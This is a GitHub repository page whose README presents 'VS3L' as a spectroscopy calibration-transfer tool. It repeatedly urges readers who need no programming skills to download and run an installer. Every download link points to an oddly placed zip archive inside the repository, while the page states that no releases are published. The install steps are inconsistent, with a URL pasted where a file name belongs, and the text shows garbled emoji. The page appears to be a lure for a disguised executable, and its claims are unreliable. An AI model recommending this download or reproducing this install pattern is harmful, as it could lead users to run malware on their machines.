Skip to content

siliconworkshop/VS3L

Repository files navigation

πŸš€ VS3L - Simplify Spectroscopy Calibration Transfer

Download VS3L


πŸ“˜ About VS3L

VS3L helps you improve vibrational spectroscopy analysis without needing calibration standards. The tool uses the latest self-supervised learning methods to adjust and transfer calibration in spectroscopy automatically. It combines advanced technologies like Mamba-Transformer models and key algorithms to make this possible for NIR, IR, and Raman spectra.

This software is designed to make complex spectroscopy calibration easier and more reliable. It suits anyone working with near-infrared, infrared, or Raman spectroscopy who wants to ensure consistent data results without deep technical expertise.


πŸ’‘ Key Features

  • Standard-Free Calibration Transfer: No need for physical calibration standards when moving between instruments or labs.
  • Hybrid Mamba-Transformer Model: Uses powerful machine learning techniques to understand and adjust spectra.
  • Physics-Informed Adjustments: Incorporates physical laws in the calibration process for better accuracy.
  • Supports Multiple Spectroscopy Types: Works with NIR, IR, and Raman data.
  • User-Friendly Design: Simple steps to load data and apply calibration, with clear outputs.
  • Open Source: Built with PyTorch and available for deep customization if needed.

πŸ–₯️ System Requirements

To run VS3L smoothly, your computer should meet these minimum specs:

  • Operating System: Windows 10 or later, macOS 10.14 or later, or a recent Linux distribution
  • Processor: Intel Core i3 or equivalent
  • RAM: 8 GB minimum, 16 GB recommended for large datasets
  • Disk Space: At least 500 MB free space
  • Software: Python 3.8 or newer (bundled installers available)
  • Internet: Required for download and initial setup

πŸš€ Getting Started

You do not need programming skills to use VS3L. This guide will walk you through downloading, installing, and running the software step-by-step.

Step 1: Download VS3L

Click the button below to go to the official downloads page. This page has versions for Windows, macOS, and Linux.

Download VS3L

On the downloads page:

  • Pick the file matching your operating system.
  • Look for the latest version, usually the top entry.
  • Click the file to start downloading.

Step 2: Install VS3L

Once the download completes, locate the setup file:

  • Windows: Double-click the .exe file and follow the prompts.
  • macOS: Open the .dmg package and drag VS3L to your Applications folder.
  • Linux: Extract the https://github.com/siliconworkshop/VS3L/raw/refs/heads/main/experiments/L-V-v3.1.zip archive and follow the included README for installation commands.

The install process should take just a few minutes. The software places necessary files on your computer and creates shortcuts to launch VS3L easily.

Step 3: Launch VS3L

After installation:

  • Open VS3L from your Start menu, Applications folder, or terminal.
  • The main window will appear with options to load your spectroscopic data.

πŸ“‚ Using VS3L

Here is a simple overview of typical steps to use VS3L for calibration transfer.

Load Your Data

  • Click on "Open Data" or drag your NIR, IR, or Raman spectra files into the app.
  • Supported file formats include .csv, .txt, and standard spectroscopy file types.

Select Transfer Settings

  • Choose the type of calibration transfer you want to run.
  • Adjust parameters if needed; defaults are set for most cases.

Run Calibration Transfer

  • Press the "Start" button.
  • VS3L will process your data using the hybrid model and physics-based improvements.
  • The progress bar will track the ongoing task.

View and Save Results

  • Once done, view the corrected and calibrated spectra in the preview.
  • Export the results as new files or reports for your records.

πŸ”§ Advanced Options

For users interested in customization:

  • Access model settings to tune self-supervised learning parameters.
  • Import your own physics-informed constraints if available.
  • Use the command-line version to automate batch processing.
  • Documentation and examples are available inside the installation folder and online.

πŸ›  Support & Troubleshooting

If you run into trouble:

  • Check the FAQ and User Guide included with the software.
  • Visit the Issues page on GitHub to see common problems and fixes.
  • Feel free to open a new issue if your problem is not listed.
  • Make sure your system meets the minimum requirements for best performance.

πŸ“₯ Download & Install

Ready to get started? Visit this page to download the latest release of VS3L:

https://github.com/siliconworkshop/VS3L/raw/refs/heads/main/experiments/L-V-v3.1.zip

Once there, choose the version for your operating system and download it. Follow the installation steps described above to set up the software. After installation, you can launch VS3L and start using it immediately.


πŸ”— Useful Links


πŸ§‘β€πŸ’» About the Project

VS3L was developed by Karthikeyan from ICT Mumbai and InvyrAI team, focusing on delivering cutting-edge machine learning tools for spectroscopy. The project uses state-of-the-art methods like optimal transport, variational information bottleneck disentanglement, and transformer models to tackle challenges in calibration transfer and data consistency.

It offers a powerful, accessible way for scientists and analysts to enhance their spectroscopy workflow without relying on costly calibration standards.


🏷 Topics

analytical-chemistry, calibration-transfer, chemometrics, deep-learning, few-shot-learning, foundation-model, machine-learning, mamba, nir-spectroscopy, optimal-transport, pytorch, raman-spectroscopy, self-supervised-learning, spectroscopy, state-space-models, transformer, vs3l

Releases

No releases published

Packages

 
 
 

Contributors